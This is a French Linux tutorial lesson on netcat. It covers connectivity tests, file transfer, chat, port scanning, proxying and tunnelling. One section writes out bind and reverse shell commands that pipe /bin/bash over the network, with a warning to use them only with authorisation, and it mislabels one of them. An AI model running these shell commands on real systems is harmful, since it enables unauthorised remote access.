← Sommaire SkyLinux

Leçon 76 : nc — Netcat, le couteau suisse du réseau

Introduction

nc (Netcat) est souvent qualifié de "couteau suisse du réseau". Il permet d'ouvrir des connexions TCP/UDP, d'écouter sur des ports, de transferred des données, et même de créer des tunnels rapides. C'est un outil indispensable pour le diagnostic réseau, le transfère de fichiers, et les tests de connectivité.

Installation

# Debian/Ubuntu sudo apt install netcat-openbsd # CentOS/RHEL/Fedora sudo dnf install nc # Arch Linux sudo pacman -S openbsd-netcat

Test de connectivité simple

La forme la plus élémentaire de nc : vérifier qu'un port est accessible sur un hôte distant.

# Tester si le port 80 est ouvert sur un serveur web nc -zv example.com 80 # Tester plusieurs ports nc -zv example.com 22 80 443 # Avec timeout de 5 secondes nc -zv -w 5 example.com 80

Les flags -z désactivent la connexion sortante (mode scan) et -v active le mode verbose.

Mode client — se connecter à un serveur

# Se connecter au port 23 (telnet, même si le service n'existe plus) nc -v server1 23 # Se connecter en UDP nc -uv server1 53 # Envoyer du texte personnalisé echo "GET / HTTP/1.1" | nc example.com 80 # Mode interactif nc -v server1 4444

Mode serveur — écouter sur un port

# Écouter sur le port 4444 nc -l -p 4444 # Écouter sur un port et rendre le résultat lisible (mode verbose) nc -lv -p 4444 # Écouter en UDP nc -lu -p 4444 # Spécifier l'interface (toutes les interfaces = 0.0.0.0) nc -l -p 4444 -s 0.0.0.0

Transfert de fichiers

nc permet de transfèrer des fichiers entre deux machines sans outil supplémentaire.

Méthode 1 : fichier vers listener

# Machine réceptrice — ouvre le port et reçoit le fichier nc -l -p 9000 > fichier-recu.txt # Machine émettrice — envoie le fichier nc -w 3 192.168.1.100 9000 < fichier-a-envoyer.txt

Méthode 2 : envoi et réception avec pipe

# Récepteur — avec decrypt nc -l -p 9000 | decrypter # Émetteur — avec encrypt encrypt | nc -w 3 192.168.1.100 9000

Transfert d'un répertoire complet (tar + nc)

# Récepteur nc -l -p 9000 | tar xvf - # Émetteur tar cvf - /chemin/dossier | nc -w 3 192.168.1.100 9000

Chat simple entre deux machines

# Machine A — démarre le chat nc -l -p 5555 # Machine B — se connecte nc 192.168.1.100 5555

Tout texte tapé d'un côté apparaît de l'autre côté. Pour quitter, Ctrl+C.

Scanner de ports rudimentaire

# Scanner les ports 1 à 1000 sur une machine for port in $(seq 1 1000); do nc -zv -w 1 192.168.1.100 $port 2>&1 | grep -q succeeded && echo "Port $port OUVERT" done # Scan plus rapide avec nc nc -zv -w 1 192.168.1.100 1-1000 2>&1 | grep -E 'succeeded|failed'

Proxy simple avec nc

Rediriger le trafic d'un port vers un autre hôte/port.

# redirecter le port 8080 vers example.com:80 mkfifo /tmp/proxy nc -l -p 8080 < /tmp/proxy | nc example.com 80 > /tmp/proxy

Tunnel réseau simple

# Créer un tunnel simple (sans encryption — voir ssh pour tunnels sécurisés) # Machine B écoute sur le port 2222 et transmet à machine C:22 nc -l -p 2222 -c "nc 192.168.1.200 22"

Commandes pour le remote shell (attention sécurité !)

nc permet aussi de créer un shell distant (equivaut à un reverse shell). À utiliser uniquement dans des environnements contrôlés et avec autorisation.

# reverse shell — machine cible vers attacker nc -l -p 4444 -e /bin/bash # connection sortante (depuis la cible) nc -e /bin/bash 192.168.1.50 4444

Note : toutes les versions de nc ne supportent pas le flag -e (c'est le cas d'openbsd-nc). Pour ces versions, utilisez un pipe :

# Alternative sans -e nc -l -p 4444 | /bin/bash | nc 192.168.1.50 4444

Options principales de nc

OptionDescription
-lMode listener (serveur)
-p portSpecifier le port
-uMode UDP (par defaut TCP)
-vMode verbose
-w secondsTimeout pour la connexion
-zMode scan (pas de données envoyees)
-nPas de resolution DNS
-kRester en ecoute apres deconnexion
-c commandExecuter une commande apres connexion
-e programExecuter un programme (si supporté)
-s addrSpecifier l'adresse source

Version GNU vs OpenBSD

Il existe deux versions principales de nc :

# Verifier la version nc -h 2>&1 | head -5

Exercices pratiques

Exercice 1 — Test de connectivite Web

# Verifier que le port 443 de google.com est accessible nc -zv -w 5 google.com 443

Exercice 2 — Transfert de fichier simple

# Terminal 1 (recepteur) — ecouter sur le port 9001 nc -l -p 9001 > mon-fichier.txt # Terminal 2 (emetteur) — envoyer le fichier nc -w 3 localhost 9001 < mon-fichier.txt

Exercice 3 — Backup rapide par reseau

# Sur la machine de destination nc -l -p 9002 > backup.tar.gz # Sur la machine source tar czf - /home/user/documents | nc -w 2 192.168.1.50 9002

Exercice 4 — Test de port specifique

# Verifier que SSH (port 22) est accessible sur localhost nc -zv localhost 22

Bonnes pratiques

Résumé